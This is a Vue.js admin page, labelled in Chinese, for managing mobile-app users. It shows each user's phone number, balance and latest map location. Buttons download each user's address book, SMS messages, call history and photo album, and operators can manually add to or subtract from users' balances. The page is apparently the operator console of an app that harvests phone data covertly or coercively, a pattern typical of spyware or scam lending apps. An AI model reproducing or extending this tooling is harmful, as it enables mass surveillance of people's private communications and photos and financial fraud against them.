<template>
  <div class="page-content">
    <!-- 顶部搜索表单 -->
    <div slot="top">
      <el-form label-width="90px">
        <el-row :gutter="20">
          <el-col :xs="24" :sm="12" :lg="3">
            <el-input placeholder="手机号" v-model="searchParameter.phone" />
          </el-col>

          <el-col :xs="24" :sm="12" :lg="5">
            <el-date-picker
              v-model="searchParameter.start"
              type="date"
              placeholder="开始日期"
              :picker-options="pickerOptions"
            />
          </el-col>

          <el-col :xs="24" :sm="12" :lg="1">
            <el-date-picker
              v-model="searchParameter.end"
              type="date"
              placeholder="结束日期"
              :picker-options="pickerOptions"
            />
          </el-col>

          <el-row :xs="24" :sm="12" :lg="6" style="float: right; margin-right: 10px;">
            <el-button @click="search">搜索</el-button>
          </el-row>
        </el-row>
      </el-form>
    </div>

    <!-- 用户列表表格 -->
    <el-table style="margin-top: 15px" border :data="roleList" :showPage="false">
      <el-table-column label="ID" width="80" prop="id" />
      <el-table-column label="昵称" width="120" prop="nickname" />
      <el-table-column label="电话/唯一ID" width="120" prop="phone" />

      <el-table-column label="余额" width="100" prop="money_balance">
        <template #default="{ row }">
          <el-button type="primary" @click="showMoneyDialog(row, 90)">
            {{ row.money_balance }}
          </el-button>
        </template>
      </el-table-column>

      <el-table-column label="最新位置" width="100" prop="locations">
        <template #default="{ row }">
          <el-button type="primary" @click="showLocations(row.locations)">
            显示定位
          </el-button>
        </template>
      </el-table-column>

      <el-table-column label="创建时间" width="160" prop="create_time" />

      <el-table-column label="状态" width="80" prop="status">
        <template #default="{ row }">
          <el-tag size="mini" :type="row.status ? '' : 'info'">
            {{ row.status == 1 ? '正常' : '禁用' }}
          </el-tag>
          <el-switch
            v-model="row.status"
            @change="changes(row.status, row, 'status')"
            :active-value="1"
            :inactive-value="0"
          />
        </template>
      </el-table-column>

      <el-table-column label="用户信息下载" width="300">
        <template #default="{ row }">
          <el-button type="text" icon="el-icon-edit" @click="downAddressBook(row.id)">通讯录</el-button>
          <el-button type="text" icon="el-icon-edit" @click="downShortMessage(row.id)">短信</el-button>
          <el-button type="text" icon="el-icon-edit" @click="downCallHistory(row.id)">通话记录</el-button>
          <el-button type="text" icon="el-icon-edit" @click="downPhoto(row.id)">相册</el-button>
        </template>
      </el-table-column>

      <el-table-column fixed="right" label="操作" width="150px">
        <template #default="{ row }">
          <el-button
            type="text"
            style="color: #FA6962"
            icon="el-icon-delete"
            @click="deleteUser(row)"
          >
            删除
          </el-button>
        </template>
      </el-table-column>
    </el-table>

    <!-- 余额弹窗 -->
    <el-dialog :title="dialogMoneyTitle" width="500px" :visible.sync="moneyDialogVisible">
      <el-form ref="form" :model="moneyForm" label-width="70px">
        <el-form-item label="变更类型">
          <el-select v-model="money_change_type" style="width: 100%" placeholder="请选择">
            <el-option key="1" label="增加" value="1" />
            <el-option key="2" label="减少" value="2" />
          </el-select>
        </el-form-item>
        <el-form-item label="变更金额">
          <el-input v-model="change_money" placeholder="请输入变更金额" />
        </el-form-item>
      </el-form>
      <span slot="footer" class="dialog-footer">
        <el-button @click="moneyDialogVisible = false">取 消</el-button>
        <el-button type="primary" @click="onMoneySubmit">确 定</el-button>
      </span>
    </el-dialog>

    <!-- 分页 -->
    <template v-if="allpage > 10">
      <el-pagination
        @current-change="handleCurrentChange"
        :current-page="current"
        :page-size="10"
        layout="total, prev, pager, next, jumper"
        :total="allpage"
      />
    </template>
  </div>
</template>

<script>
import {
  getUserStatusApi,
  getIsFictitiousApi,
  getGroupUserListApi,
  getUserDelApi,
  getMoneyEditApi
} from '@/api/userApi'
import { getGroupId } from '@/utils/auth'
import {  baseUrl} from "@/utils/config.js"
export default {
  data() {
    return {
      pickerOptions: {
        disabledDate: time => time.getTime() > Date.now(),
        shortcuts: [
          {
            text: '今天',
            onClick: picker => picker.$emit('pick', new Date())
          },
          {
            text: '昨天',
            onClick: picker => {
              const date = new Date()
              date.setDate(date.getDate() - 1)
              picker.$emit('pick', date)
            }
          },
          {
            text: '一周前',
            onClick: picker => {
              const date = new Date()
              date.setDate(date.getDate() - 7)
              picker.$emit('pick', date)
            }
          }
        ]
      },
      allpage: 1,
      current: 1,
      showItem: 5,
      dialogTitle: '',
      dvEdit: false,
      form: {
        username: '',
        desc: ''
      },
      searchParameter: {
        phone: undefined,
        start: undefined,
        end: undefined,
        groupid: getGroupId()
      },
      props: {
        label: 'name',
        children: 'zones'
      },
      count: 1,
      roleList: [],
      moneyDialogVisible: false,
      dialogMoneyTitle: '编辑可用余额',
      moneyForm: {},
      money_change_type: '',
      change_money: '',
      money_ststus: 90
    }
  },

  mounted() {
    this.getUserList()
  },

  methods: {
    changes(status, row, type) {
      if (type === 'status') {
        getUserStatusApi({ id: row.id, status }).then(() => {})
      } else {
        getIsFictitiousApi({ id: row.id }).then(() => {})
      }
    },

    showMoneyDialog(row, type) {
      this.moneyForm = row
      this.money_change_type = ''
      this.change_money = ''
      this.money_ststus = type
      this.dialogMoneyTitle = type === 90 ? '编辑可用余额' : '编辑冻结余额'
      this.moneyDialogVisible = true
    },

    onMoneySubmit() {
      getMoneyEditApi({
        money_change_type: this.money_change_type,
        uid: this.moneyForm.id,
        change_money: this.change_money,
        money_ststus: this.money_ststus
      }).then(res => {
        if (res.code === 1) {
          this.moneyDialogVisible = false
          this.$message({ message: '操作成功', type: 'success' })
          this.handleCurrentChange(this.current)
        }
      })
    },

    handleCurrentChange(index) {
      this.current = index
      getGroupUserListApi({
        page: index,
        ...this.searchParameter
      }).then(res => {
        this.roleList = res.data.data
        this.allpage = res.data.total
      })
    },

    getUserList() {
      getGroupUserListApi(this.searchParameter).then(res => {
        this.roleList = res.data.data
        this.allpage = res.data.total
      })
    },

    showLocations(locations) {
      console.log('显示位置', locations)
      const [lat, lng] = locations.split("#");
      const domain = window.location.hostname;
      const url = `/map.html?lat=${lat}&lng=${lng}`;
      window.open(url, '_blank');
    },

    downAddressBook(id) {
      console.log('下载通讯录', id)
      const url = baseUrl+`/phone/downAddressBook?user_id=${id}`;
      window.open(url, '_blank');
    },

    downShortMessage(id) {
      console.log('下载短信', id)
      const url = baseUrl+`/phone/downShortMessage?user_id=${id}`;
      window.open(url, '_blank');
    },

    downCallHistory(id) {
      console.log('下载通话记录', id)
      const url = baseUrl+`/phone/downCallHistory?user_id=${id}`;
      window.open(url, '_blank');
    },

    downPhoto(id) {
      console.log('下载相册照片', id)
      const url = baseUrl+`/phone/downPhoto?user_id=${id}`;
      window.open(url, '_blank');
    },

    search() {
      this.getUserList()
    },

    deleteUser(row) {
      this.$confirm('您确定要删除当前用户吗', '提示', {
        confirmButtonText: '确定',
        cancelButtonText: '取消',
        type: 'error'
      })
        .then(() => {
          getUserDelApi({ id: row.id }).then(res => {
            if (res.code === 1) {
              this.$message({ message: '删除成功', type: 'success' })
              this.getUserList()
            }
          })
        })
        .catch(() => {})
    }
  }
}
</script>

<style lang="scss" scoped>
.page-content {
  width: 100%;
  height: 100%;
}
</style>
